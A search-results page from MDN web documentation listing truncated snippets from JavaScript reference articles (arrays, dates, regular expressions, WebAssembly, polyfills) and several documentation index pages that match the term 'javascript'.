examples iteration using for...of loop html <ul id="letterresult"> </ul> javascript var arr = ['a', 'b', 'c']; var earr = arr[symbol.iterator](); var letterresult = document.getelementbyid('letterresult'); // your browser must support for..of loop // and let-scoped variables in for loops // const and var could also be used for (let letter of earr) { letterresult.innerhtml += "<li>" + letter + "</li>"; } result alternative iteration var arr = ['a', 'b', 'c', 'd', 'e']; va...
Array.prototype.reduce() - JavaScript
return value; } }); } caution: if you need to support truly obsolete javascript engines that do not support object.defineproperty(), it is best not to polyfill array.prototype methods at all, as you cannot make them non-enumerable.
Array.prototype.fill() - JavaScript
return o; } }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
Array.prototype.findIndex() - JavaScript
return -1; }, configurable: true, writable: true }); } if you need to support truly obsolete javascript engines that do not support object.defineproperty, it is best not to polyfill array.prototype methods at all, as you cannot make them non-enumerable.
Array.isArray() - JavaScript
see the article “determining with absolute accuracy whether or not a javascript object is an array” for more details.
Array.prototype.lastIndexOf() - JavaScript
math.min(n, len - 1) : len - math.abs(n); k >= 0; k--) { if (k in t && t[k] === searchelement) { return k; } } return -1; }; } again, note that this implementation aims for absolute compatibility with lastindexof in firefox and the spidermonkey javascript engine, including in several cases which are arguably edge cases.
Array.prototype.push() - JavaScript
instead, we store the collection on the object itself and use call on array.prototype.push to trick the method into thinking we are dealing with an array—and it just works, thanks to the way javascript allows us to establish the execution context in any way we want.
Array.prototype.toLocaleString() - JavaScript
return r; } }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
BigInt.prototype.toString() - JavaScript
-0.0 is an ieee floating-point concept that only appears in the javascript number type.
BigInt - JavaScript
bigint is a built-in object that provides a way to represent whole numbers larger than 253 - 1, which is the largest number javascript can reliably represent with the number primitive and represented by the number.max_safe_integer constant.
Boolean.prototype.toString() - JavaScript
javascript calls the tostring() method automatically when a boolean is to be represented as a text value or when a boolean is referred to in a string concatenation.
Boolean.prototype.valueOf() - JavaScript
this method is usually called internally by javascript and not explicitly in code.
Date.prototype.getTime() - JavaScript
* javascript uses milliseconds as the unit of measurement, whereas unix time is in seconds.
Date.prototype.getYear() - JavaScript
backward compatibility behavior in javascript 1.2 and earlier the getyear() method returns either a 2-digit or 4-digit year: for years between and including 1900 and 1999, the value returned by getyear() is the year minus 1900.
Date.prototype.setHours() - JavaScript
syntax dateobj.sethours(hoursvalue[, minutesvalue[, secondsvalue[, msvalue]]]) versions prior to javascript 1.3 dateobj.sethours(hoursvalue) parameters hoursvalue ideally, an integer between 0 and 23, representing the hour.
Date.prototype.setMinutes() - JavaScript
syntax dateobj.setminutes(minutesvalue[, secondsvalue[, msvalue]]) versions prior to javascript 1.3 dateobj.setminutes(minutesvalue) parameters minutesvalue an integer between 0 and 59, representing the minutes.
Date.prototype.setMonth() - JavaScript
syntax dateobj.setmonth(monthvalue[, dayvalue]) versions prior to javascript 1.3 dateobj.setmonth(monthvalue) parameters monthvalue a zero-based integer representing the month of the year offset from the start of the year.
Date.prototype.setSeconds() - JavaScript
syntax dateobj.setseconds(secondsvalue[, msvalue]) versions prior to javascript 1.3 dateobj.setseconds(secondsvalue) parameters secondsvalue an integer between 0 and 59, representing the seconds.
Date.prototype.toString() - JavaScript
however, it must have an internal [[timevalue]] property that can't be constructed using native javascript, so it's effectively limited to use with date instances.
Date.prototype.valueOf() - JavaScript
this method is usually called internally by javascript and not explicitly in code.
Error.prototype.stack - JavaScript
browsers using the v8 javascript engine (such as chrome, opera 15+, android browser) and ie10+, on the other hand, uses a different format (see the archived msdn error.stack docs).
EvalError() constructor - JavaScript
this exception is not thrown by javascript anymore, however the evalerror object remains for compatibility.
EvalError - JavaScript
this exception is not thrown by javascript anymore, however the evalerror object remains for compatibility.
Function.prototype.toString() - JavaScript
javascript calls the tostring method automatically when a function is to be represented as a text value, e.g.
Function - JavaScript
every javascript function is actually a function object.
Generator.prototype.next() - JavaScript
value any javascript value returned by the iterator.
Generator.prototype.throw() - JavaScript
value any javascript value returned by the iterator.
Infinity - JavaScript
as defined by the ecmascript 5 specification, infinity is read-only (implemented in javascript 1.8.5 / firefox 4).
InternalError() constructor - JavaScript
the internalerror() constructor creates an error that indicates an error that occurred internally in the javascript engine.
InternalError - JavaScript
the internalerror object indicates an error that occurred internally in the javascript engine.
Intl.Locale.prototype.collation - JavaScript
the collation property helps to make it easier for javascript programmers to access the collation type used by a particular locale.
Intl.Locale.prototype.hourCycle - JavaScript
the hourcycle property makes it easier for javascript programmers to access the clock type used by a particular locale.
Intl.Locale.prototype.maximize() - JavaScript
this functionality is provided to javascript programmers via the maximize() method.
Intl.Locale.prototype.region - JavaScript
knowing the locale's region helps javascript programmers make sure that the content from their sites and applications is correctly displayed when viewed from different areas of the world.
Intl - JavaScript
javascript internationalization functions use the "u" (unicode) extension, which can be used to request additional customization of collator, numberformat, or datetimeformat objects.
Map - JavaScript
in javascript engines that comply with the ecmascript 2015 spec, iterating over an object with only string keys will yield the keys in order of insertion.
Math.clz32() - JavaScript
now, inversing the bits reveals the lowest bits return 32 - clz(~integer) |0; // `|0` ensures integer coercion } function ctron(integer){ // count trailing ones // no shift-filling-in-with-ones operator is available in // javascript, so the below code is the fastest return ctrz(~integer); /* alternate implementation for demonstrational purposes: // 1.
Math.log() - JavaScript
the math.log() function returns the natural logarithm (base e) of a number, that is ∀x>0,math.log(x)=ln(x)=the uniqueysuch thatey=x\forall x > 0, \mathtt{\operatorname{math.log}(x)} = \ln(x) = \text{the unique} \; y \; \text{such that} \; e^y = x the javascript math.log() function is equivalent to ln(x) in mathematics.
Math.random() - JavaScript
examples note that as numbers in javascript are ieee 754 floating point numbers with round-to-nearest-even behavior, the ranges claimed for the functions below (excluding the one for math.random() itself) aren't exact.
Math.random() - JavaScript
examples note that as numbers in javascript are ieee 754 floating point numbers with round-to-nearest-even behavior, the ranges claimed for the functions below (excluding the one for math.random() itself) aren't exact.
Number.MAX_VALUE - JavaScript
the number.max_value property represents the maximum numeric value representable in javascript.
Number.prototype.toSource() - JavaScript
this method is usually called internally by javascript and not explicitly in web code.
Number.prototype.valueOf() - JavaScript
description this method is usually called internally by javascript and not explicitly in web code.
Object.create() - JavaScript
this is for a single inheritance, which is all that javascript supports.
Object.defineProperty() - JavaScript
can be any valid javascript value (number, object, function, etc).
Object.getOwnPropertyDescriptor() - JavaScript
a property in javascript consists of either a string-valued name or a symbol and a property descriptor.
Object.getOwnPropertyDescriptors() - JavaScript
a property in javascript consists of either a string-valued name or a symbol and a property descriptor.
Object.prototype.hasOwnProperty() - JavaScript
value: ' + buz[name]); } else { console.log(name); // tostring or something else } } using hasownproperty as a property name javascript does not protect the property name hasownproperty; thus, if the possibility exists that an object might have a property with this name, it is necessary to use an external hasownproperty to get correct results: var foo = { hasownproperty: function() { return false; }, bar: 'here be dragons' }; foo.hasownproperty('bar'); // always returns false // use another object's hasownproperty //...
Object.setPrototypeOf() - JavaScript
warning: changing the [[prototype]] of an object is, by the nature of how modern javascript engines optimize property accesses, currently a very slow operation in every browser and javascript engine.
Promise - JavaScript
promises in javascript represent processes that are already happening, which can be chained with callback functions.
Comparing Reflect and Object methods - JavaScript
the reflect object, introduced in es2015, is a built-in object that provides methods to interface with javascript objects.
Reflect - JavaScript
reflect is a built-in object that provides methods for interceptable javascript operations.
RegExp() constructor - JavaScript
for an introduction to regular expressions, read the regular expressions chapter in the javascript guide.
RegExp.prototype.exec() - JavaScript
javascript regexp objects are stateful when they have the global or sticky flags set (e.g.
RegExp.input ($_) - JavaScript
examples using input and $_ var re = /hi/g; re.test('hi there!'); regexp.input; // "hi there!" re.test('foo'); // new test, non-matching regexp.$_; // "hi there!" re.test('hi world!'); // new test, matching regexp.$_; // "hi world!" specifications specification legacy regexp features in javascript ...
RegExp.lastMatch ($&) - JavaScript
examples using lastmatch and $& var re = /hi/g; re.test('hi there!'); regexp.lastmatch; // "hi" regexp['$&']; // "hi" specifications specification legacy regexp features in javascript ...
RegExp.lastParen ($+) - JavaScript
examples using lastparen and $+ var re = /(hi)/g; re.test('hi there!'); regexp.lastparen; // "hi" regexp['$+']; // "hi" specifications specification legacy regexp features in javascript ...
RegExp.leftContext ($`) - JavaScript
examples using leftcontext and $` var re = /world/g; re.test('hello world!'); regexp.leftcontext; // "hello " regexp['$`']; // "hello " specifications specification legacy regexp features in javascript ...
RegExp.$1-$9 - JavaScript
specifications specification legacy regexp features in javascript ...
RegExp.rightContext ($') - JavaScript
examples using rightcontext and $' var re = /hello/g; re.test('hello world!'); regexp.rightcontext; // " world!" regexp["$'"]; // " world!" specifications specification legacy regexp features in javascript ...
RegExp.prototype.toSource() - JavaScript
this method is usually called internally by javascript and not explicitly in web code.
String.prototype.charAt() - JavaScript
if the index you supply is out of this range, javascript returns an empty string.
String.prototype.codePointAt() - JavaScript
first = string.charcodeat(index); var second; if ( // check if it’s the start of a surrogate pair first >= 0xd800 && first <= 0xdbff && // high surrogate size > index + 1 // there is a next code unit ) { second = string.charcodeat(index + 1); if (second >= 0xdc00 && second <= 0xdfff) { // low surrogate // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae return (first - 0xd800) * 0x400 + second - 0xdc00 + 0x10000; } } return first; }; if (defineproperty) { defineproperty(string.prototype, 'codepointat', { 'value': codepointat, 'configurable': true, 'writable': true }); } else { string.prototype.codepointat = codepointat; } }()); }...
String.prototype.endsWith() - JavaScript
polyfill this method has been added to the ecmascript 6 specification and may not be available in all javascript implementations yet.
String.fromCodePoint() - JavaScript
>>0) === codepoint clause handles decimals and negatives if (!(codepoint < 0x10ffff && (codepoint>>>0) === codepoint)) throw rangeerror("invalid code point: " + codepoint); if (codepoint <= 0xffff) { // bmp code point codelen = codeunits.push(codepoint); } else { // astral code point; split in surrogate halves // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae codepoint -= 0x10000; codelen = codeunits.push( (codepoint >> 10) + 0xd800, // highsurrogate (codepoint % 0x400) + 0xdc00 // lowsurrogate ); } if (codelen >= 0x3fff) { result += stringfromcharcode.apply(null, codeunits); codeunits.length = 0; } } return result...
String.prototype.includes() - JavaScript
for example, the following expression returns false: 'blue whale'.includes('blue') // returns false polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet.
String length - JavaScript
utf-16, the string format used by javascript, uses a single 16-bit code unit to represent the most common characters, but needs to use two code units for less commonly-used characters, so it's possible for the value returned by length to not match the actual number of characters in the string.
String.prototype.match() - JavaScript
infinity contains -infinity and +infinity in javascript.", str2 = "my grandfather is 65 years old and my grandmother is 63 years old.", str3 = "the contract was declared null and void."; str1.match("number"); // "number" is a string.
String.prototype.matchAll() - JavaScript
examples regexp.exec() and matchall() prior to the addition of matchall to javascript, it was possible to use calls to regexp.exec (and regexes with the /g flag) in a loop to obtain all the matches: const regexp = regexp('foo[a-z]*','g'); const str = 'table football, foosball'; let match; while ((match = regexp.exec(str)) !== null) { console.log(`found ${match[0]} start=${match.index} end=${regexp.lastindex}.`); // expected output: "found football start=6 end=14." // expec...
String.prototype.padStart() - JavaScript
examples basic examples 'abc'.padstart(10); // " abc" 'abc'.padstart(10, "foo"); // "foofoofabc" 'abc'.padstart(6,"123465"); // "123abc" 'abc'.padstart(8, "0"); // "00000abc" 'abc'.padstart(1); // "abc" fixed width string number conversion // javascript version of: (unsigned) // printf "%0*d" width num function leftfillnum(num, targetlength) { return num.tostring().padstart(targetlength, 0); } const num = 123; console.log(leftfillnum(num, 5)); // expected output: "00123" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.padstart' in that specification.
String.prototype.repeat() - JavaScript
polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet.
String.prototype.split() - JavaScript
see “how do you get a string to a character array in javascript?” on stackoverflow.
String.prototype.startsWith() - JavaScript
polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet.
String.prototype.toSource() - JavaScript
this method is usually called internally by javascript and not explicitly in web code.
String.prototype.toUpperCase() - JavaScript
this method does not affect the value of the string itself since javascript strings are immutable.
String.prototype.valueOf() - JavaScript
this method is usually called internally by javascript and not explicitly in code.
Symbol.asyncIterator - JavaScript
built-in async iterables there are currently no built-in javascript objects that have the [symbol.asynciterator] key set by default.
Symbol.prototype.toSource() - JavaScript
this method is usually called internally by javascript.
Symbol.toStringTag - JavaScript
and more custom classes default to object tag when creating your own class, javascript defaults to the "object" tag: class validatorclass {} object.prototype.tostring.call(new validatorclass()); // "[object object]" custom tag with tostringtag now, with the help of tostringtag, you are able to set your own custom tag: class validatorclass { get [symbol.tostringtag]() { return 'validator'; } } object.prototype.tostring.call(new validatorclass()); // "[object validator...
SyntaxError - JavaScript
it is thrown when the javascript engine encounters tokens or token order that does not conform to the syntax of the language when parsing code.
TypedArray.prototype.join() - JavaScript
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.join if (!uint8array.prototype.join) { object.defineproperty(uint8array.prototype, 'join', { value: array.prototype.join }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
TypedArray.prototype.set() - JavaScript
typedarray if the source array is a typed array, the two arrays may share the same underlying arraybuffer; the javascript engine will intelligently copy the source range of the buffer to the destination range.
TypedArray.prototype.slice() - JavaScript
if (!uint8array.prototype.slice) { object.defineproperty(uint8array.prototype, 'slice', { value: function (begin, end) { return new uint8array(array.prototype.slice.call(this, begin, end)); } }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
TypedArray.prototype.some() - JavaScript
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.some if (!uint8array.prototype.some) { object.defineproperty(uint8array.prototype, 'some', { value: array.prototype.some }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
WeakMap - JavaScript
a map api could be implemented in javascript with two arrays (one for keys, one for values) shared by the four api methods.
WebAssembly.CompileError() constructor - JavaScript
age); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification.
WebAssembly.CompileError - JavaScript
age); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification.
WebAssembly.Instance() constructor - JavaScript
nstance is through the asynchronous webassembly.instantiatestreaming() function, for example like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); specifications specification webassembly javascript interfacethe definition of 'instance' in that specification.
WebAssembly.LinkError() constructor - JavaScript
essage); // "hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'linkerror' in that specification.
WebAssembly.LinkError - JavaScript
essage); // "hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'linkerror' in that specification.
WebAssembly.Memory.prototype.buffer - JavaScript
webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); specifications specification webassembly javascript interfacethe definition of 'buffer' in that specification.
WebAssembly.Memory.prototype.grow() - JavaScript
specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification.
WebAssembly.Module() constructor - JavaScript
console.log(arg); } } }; function createwasmmodule(bytes) { return new webassembly.module(bytes); } fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = createwasmmodule(bytes); webassembly.instantiate(mod, importobject) .then(result => result.exports.exported_func() ); }) specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification.
WebAssembly.Module.customSections() - JavaScript
webassembly.compilestreaming(fetch('simple-name-section.wasm')) .then(function(mod) { var namesections = webassembly.module.customsections(mod, "name"); if (namesections.length != 0) { console.log("module contains a name section"); console.log(namesections[0]); }; }); specifications specification webassembly javascript interfacethe definition of 'customsections()' in that specification.
WebAssembly.Module.exports() - JavaScript
dule received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); var exports = webassembly.module.exports(mod); console.log(exports[0]); }; the exports[0] output looks like this: { name: "exported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'exports()' in that specification.
WebAssembly.Module.imports() - JavaScript
webassembly.compilestreaming(fetch('simple.wasm')) .then(function(mod) { var imports = webassembly.module.imports(mod); console.log(imports[0]); }); the output looks like this: { module: "imports", name: "imported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'imports()' in that specification.
WebAssembly.Module - JavaScript
var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification.
WebAssembly.RuntimeError() constructor - JavaScript
age); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly.runtimeerror constructor' in that specification.
WebAssembly.RuntimeError - JavaScript
age); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification.
WebAssembly.Table.prototype.grow() - JavaScript
var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification.
WebAssembly.Table.prototype.length - JavaScript
var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'length' in that specification.
WebAssembly.compile() - JavaScript
specifications specification webassembly javascript interfacethe definition of 'compile()' in that specification.
WebAssembly.validate() - JavaScript
"" : "not ") + "a valid wasm module"); }); specifications specification webassembly javascript interfacethe definition of 'validate()' in that specification.
decodeURI() - JavaScript
examples decoding a cyrillic url decodeuri('https://developer.mozilla.org/ru/docs/javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "https://developer.mozilla.org/ru/docs/javascript_шеллы" catching errors try { var a = decodeuri('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence specifications specification ecmascript (ecma-262)the definition of 'decodeuri' in that specification.
decodeURIComponent() - JavaScript
examples decoding a cyrillic url component decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" catching errors try { var a = decodeuricomponent('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence decoding query parameters from a url decodeuricomponent cannot be used directly to parse query parameters from a url.
globalThis - JavaScript
property attributes of globalthis writable yes enumerable no configurable yes description historically, accessing the global object has required different syntax in different javascript environments.
null - JavaScript
it is one of javascript's primitive values and is treated as falsy for boolean operations.
parseInt() - JavaScript
if radix is undefined, 0, or unspecified, javascript assumes the following: if the input string begins with "0x" or "0x" (a zero, followed by lowercase or uppercase x), radix is assumed to be 16 and the rest of the string is parsed as a hexidecimal number.
uneval() - JavaScript
syntax uneval(object) parameters object a javascript expression or statement.
Conditional (ternary) operator - JavaScript
the conditional (ternary) operator is the only javascript operator that takes three operands: a condition followed by a question mark (?), then an expression to execute if the condition is truthy followed by a colon (:), and finally the expression to execute if the condition is falsy.
Less than (<) - JavaScript
otherwise javascript attempts to convert non-numeric types to numeric values: boolean values true and false are converted to 1 and 0 respectively.
Object initializer - JavaScript
object literal notation vs json the object literal notation is not the same as the javascript object notation (json).
Optional chaining (?.) - JavaScript
operator instead of just ., javascript knows to implicitly check to be sure obj.first is not null or undefined before attempting to access obj.first.second.
Spread syntax (...) - JavaScript
spread syntax (other than in the case of spread properties) can be applied only to iterable objects: const obj = {'key1': 'value1'}; const array = [...obj]; // typeerror: obj is not iterable spread with many values when using spread syntax for function calls, be aware of the possibility of exceeding the javascript engine's argument length limit.
class expression - JavaScript
javascript classes use prototype-based inheritance.
delete operator - JavaScript
the javascript delete operator removes a property from an object; if no more references to the same property are held, it is eventually released automatically.
Function expression - JavaScript
function expression hoisting function expressions in javascript are not hoisted, unlike function declarations.
instanceof - JavaScript
unlike standard javascript globals, the test obj instanceof xpcominterface works as expected, even if obj is from a different scope.
new operator - JavaScript
description the new keyword does the following things: creates a blank, plain javascript object; links (sets the constructor of) this object to another object; passes the newly created object from step 1 as the this context; returns this if the function doesn't return an object.
export - JavaScript
the export statement is used when creating javascript modules to export live bindings to functions, objects, or primitive values from the module so they can be used by other programs with the import statement.
for...of - JavaScript
.log(entry); } // ['a', 1] // ['b', 2] // ['c', 3] for (const [key, value] of iterable) { console.log(value); } // 1 // 2 // 3 iterating over a set const iterable = new set([1, 1, 2, 2, 3, 3]); for (const value of iterable) { console.log(value); } // 1 // 2 // 3 iterating over the arguments object you can iterate over the arguments object to examine all of the parameters passed into a javascript function: (function() { for (const argument of arguments) { console.log(argument); } })(1, 2, 3); // 1 // 2 // 3 iterating over a dom collection iterating over dom collections like nodelist: the following example adds a read class to paragraphs that are direct descendants of an article: // note: this will only work in platforms that have // implemented nodelist.prototype[symbol.itera...
for - JavaScript
offsetleft, ntop += oitnode.offsettop, oitnode = oitnode.offsetparent /* final-expression */ ); /* semicolon */ console.log('offset position of \'' + sid + '\' element:\n left: ' + nleft + 'px;\n top: ' + ntop + 'px;'); } /* example call: */ showoffsetpos('content'); // output: // "offset position of "content" element: // left: 0px; // top: 153px;" note: this is one of the few cases in javascript where the semicolon is mandatory.
function* - JavaScript
generators in javascript -- especially when combined with promises -- are a very powerful tool for asynchronous programming as they mitigate -- if not entirely eliminate -- the problems with callbacks, such as callback hell and inversion of control.
function declaration - JavaScript
typeof foo is function function declaration hoisting function declarations in javascript are hoisted to the top of the enclosing function or global scope.
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
javascript/xslt bindings javascript can run xslt transformations through the xsltprocessor object.
The XSLT/JavaScript Interface in Gecko - XSLT: Extensible Stylesheet Language Transformations
introduction javascript/xslt bindings basic example setting parameters advanced example interface list resources ...
Index - Archive of obsolete content
20 reddit example advanced, codingscripting, javascript, mobile no summary!
...unfortunately, javascript does not yet have native support for modules: it has to rely on the host application to provide it with functionality such as loading subscripts, and exporting/ importing names.
... 47 l10n add-on sdk localize strings appearing in the add-on's javascript code.
...And 165 more matches
Index
found 550 pages: # page tags and summary 1 spidermonkey: the mozilla javascript runtime spidermonkey standalone source code releases can be found on the releases page.
... 2 creating javascript tests automated testing, build documentation, guide, qa, spidermonkey in which test suite does your new test belong?
... 3 creating javascript jstest reftests ecmascript, guide, javascript, test in the js/src/tests directory, there are a few important subdirectories.
...And 129 more matches
Index - Learn web development
2 accessibility aria, accessibility, articles, beginner, css, codingscripting, html, javascript, landing, learn, module learning some html, css, and javascript is useful if you want to become a web developer.
...to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start.
... 3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks this chapter has provided a summary of accessibility concerns for multimedia content, along with some practical solutions.
...And 123 more matches
LiveConnect Overview - Archive of obsolete content
this chapter describes using liveconnect technology to let java and javascript code communicate with each other.
...working with wrappers in javascript, a wrapper is an object of the target language data type that encloses an object of the source language.
... when programming in javascript, you can use a wrapper object to access methods and fields of the java object; calling a method or accessing a property on the wrapper results in a call on the java object.
...And 94 more matches
Index - Web APIs
WebAPIIndex
98 arraybufferview api, interface, javascript, reference, typed arrays arraybufferview is a helper type representing any of the following javascript typedarray types: 99 attr api, dom the attr interface represents one of a dom element's attributes as an object.
... 126 audiocontext.createjavascriptnode() api, audio, method, obsolete, reference, web, createjavascriptnode the following script illustrates the use of createjavascriptnode(): 127 audiocontext.createmediaelementsource() api, audiocontext, method, reference, référence(2), web audio api, createmediaelementsource for more details about media element audio source nodes, check out the mediaelementaudios...
...possible values are: 253 basiccardrequest api, basic card payment, basiccardrequest, commerce, credit, debit, dictionary, payment method, payment request, payment request api, reference, card, payment the basiccardrequest dictionary is a javascript object-structure that can be used in the payment request api.
...And 89 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
14 ajax ajax, codingscripting, glossary, infrastructure, l10n:priority ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
... 21 argument codingscripting, glossary, javascript an argument is a value (primitive or object) passed as input to a function.
... 23 array array, codingscripting, glossary, javascript, programming an array is an ordered collection of data (either primitive or object depending upon the language).
...And 86 more matches
JSAPI User Guide
this document explains how to embed spidermonkey, the mozilla javascript engine, in your c++ program.
... javascript is widely used for client-side scripts that run in the browser.
... but mozilla's javascript engine is a library that can be linked into any c++ program, not just a browser.
...And 62 more matches
Index - Game development
found 74 pages: # page tags and summary 1 game development apps, game development, gamedev, games, html5 games, javascript games, web gaming is one of the most popular computer activities.
... 2 anatomy of a video game games, javascript, main loop, requestanimationframe i want to be clear that any of the above, or none of them, could be best for your game.
...a testament to what can be done with javascript, webgl, and related technologies.
...And 59 more matches
Index
MozillaTechXPCOMIndex
it has multiple language bindings, allowing xpcom components to be used and implemented in javascript, java, and python in addition to c++.
... 6 creating a python xpcom component guide, needshelp, pyxpcom, xpcom, xpcom:language bindings creating applications with mozilla already provides a tutorial for making a simple javascript or c++ component (implementing the nsisimple interface).
...xpcom components can be implemented in c, c++, and javascript, and can be used from c, c++, and javascript.
...And 46 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
m level 1, dom level 2 and parts of dom level 3 mathematical markup language: mathml version 2.0 extensible markup language (xml): xml 1.0, namespaces in xml, associating style sheets with xml documents 1.0, fragment identifier for xml xsl transformations: xslt 1.0 xml path language: xpath 1.0 resource description framework: rdf simple object access protocol: soap 1.1 ecma-262, revision 3 (javascript 1.5): ecma-262 general cross-browser coding tips even though web standards do exist, different browsers behave differently (in fact, the same browser may behave differently depending on the platform).
...you can usually do this by testing the required functionality in javascript.
... javascript also allows inline conditional statements, which can help with code readability: var foo = (condition) ?
...And 39 more matches
Introduction to client-side frameworks - Learn web development
overview: client-side javascript frameworks next we begin our look at frameworks with a general overview of the area, looking at a brief history of javascript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks.
... prerequisites: familiarity with the core html, css, and javascript languages.
... objective: to understand how client-side javascript frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one.
...And 39 more matches
JXON - Archive of obsolete content
jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
...there are some cases in which the whole content of an xml document must be read from the javascript interpreter (like for web-apps languages or settings xml documents, for example).
...an instance of document) to a javascript object tree (i.e.
...And 38 more matches
JSAPI reference
the jsapi is the c++ api for the spidermonkey javascript engine.
...rivate js_getsecondcontextprivate added in spidermonkey 17 js_setsecondcontextprivate added in spidermonkey 17 js_setinterruptcallback added in spidermonkey 31 js_getinterruptcallback added in spidermonkey 31 js_requestinterruptcallback added in spidermonkey 31 js_checkforinterrupt added in jsapi 45 js_destroycontextmaybegc obsolete since jsapi 14 js_setbranchcallback obsolete since javascript 1.9.1 js_setoperationcallback obsolete since jsapi 30 js_getoperationcallback obsolete since jsapi 30 js_triggeroperationcallback obsolete since jsapi 30 js_clearoperationcallback obsolete since javascript 1.9.1 js_getoperationlimit obsolete since javascript 1.9.1 js_setoperationlimit obsolete since javascript 1.9.1 js_max_operation_limit obsolete since javascript 1.9.1 js_operation_weigh...
...t_base obsolete since javascript 1.9.1 js_setthreadstacklimit obsolete since jsapi 13 js_setscriptstackquota obsolete since javascript 1.8.6 js_setoptions obsolete since jsapi 27 js_getoptions obsolete since jsapi 27 js_toggleoptions obsolete since jsapi 27 enum jsversion jsversion_ecma_3 jsversion_1_6 jsversion_1_7 jsversion_1_8 jsversion_ecma_5 jsversion_default jsversion_unknown jsversion_latest js_getimplementationversion js_getversion js_setversionforcompartment added in spidermonkey 31 js_stringtoversion js_versiontostring js_setversion obsolete since jsapi 25 js::currentglobalornull added in spidermonkey 31 js_getglobalforscopechain obsolete since jsapi 25 js_getglobalobject obsolete since jsapi 24 js_setglobalobject obsolete sin...
...And 31 more matches
Understanding WebAssembly text format - WebAssembly
this article explains how that text format works, in terms of the raw syntax, and how it is related to the underlying bytecode it represents — and the wrapper objects representing wasm in javascript.
... note: this is potentially overkill if you are a web developer who just wants to load a wasm module into a page and use it in your code (see using the webassembly javascript api), but it is more useful if for example, you want to write wasm modules to optimize the performance of your javascript library, or build your own webassembly compiler.
... the locals are like vars in javascript, but with explicit types declared.
...And 31 more matches
Reference - Archive of obsolete content
